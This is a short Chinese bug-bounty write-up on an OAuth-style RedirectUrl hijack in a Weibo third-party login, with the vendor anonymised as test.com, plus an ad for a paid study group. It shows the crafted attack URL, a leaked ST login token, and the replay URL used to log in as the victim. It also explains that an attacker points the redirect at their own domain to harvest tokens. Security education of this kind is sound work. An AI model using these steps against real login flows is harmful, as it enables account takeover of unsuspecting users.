漏洞挖掘之众测厂商 第三方登录RedirectUrl劫持漏洞

发布于 作者:

漏洞挖掘之众测厂商 第三方登录RedirectUrl劫持漏洞

p喵呜 迪哥讲事 2024-05-05 20:32

0x00 前言

文章中的项目地址统一修改为: test.com 保护厂商也保护自己

0x01 前期准备

测试微博
测试微博账号：182******77
注：此微博已绑定厂商账号

测试厂商账号：182******77
注：测试微博绑定的就是此账号

0x02 攻击开始

官网: https://passport.test.com

攻击url: https://passport.test.com/Union/WeiBo?RedirectUrl=http://baidu.com  

然后将此url发给受害者,受害者打开

劫持到的内容: https://www.baidu.com/?ST=NmQxZGU2ZjMtNDk3Ny00YzJhLWI2YjAtYTJjMWI2YWIyYTkx

ST = 用户登录凭证,然后将此凭证拼接任意目标站点即可登录

换浏览器打开:http://my.test.com?ST=NmQxZGU2ZjMtNDk3Ny00YzJhLWI2YjAtYTJjMWI2YWIyYTkx

成功登录此用户

看不懂的文末有彩蛋

如果你是一个长期主义者，欢迎加入我的知识星球，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款前面有同学问我有没优惠券，这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

有的人可能看不懂，其实这个漏洞逻辑也很简单，就是将RedirectUrl这个参数后面的url改为你自己的域名，只要受害者点击了RedirectUrl改变之后的url,你就可以在网站日志里面查看到相对应的token/code，攻击者就可以利用泄露的token/code实现账户劫持，原因主要在于开发者并未对RedirectUrl做严格的过滤

原文:https://www.yuque.com/pmiaowu/web_security_1/obtg20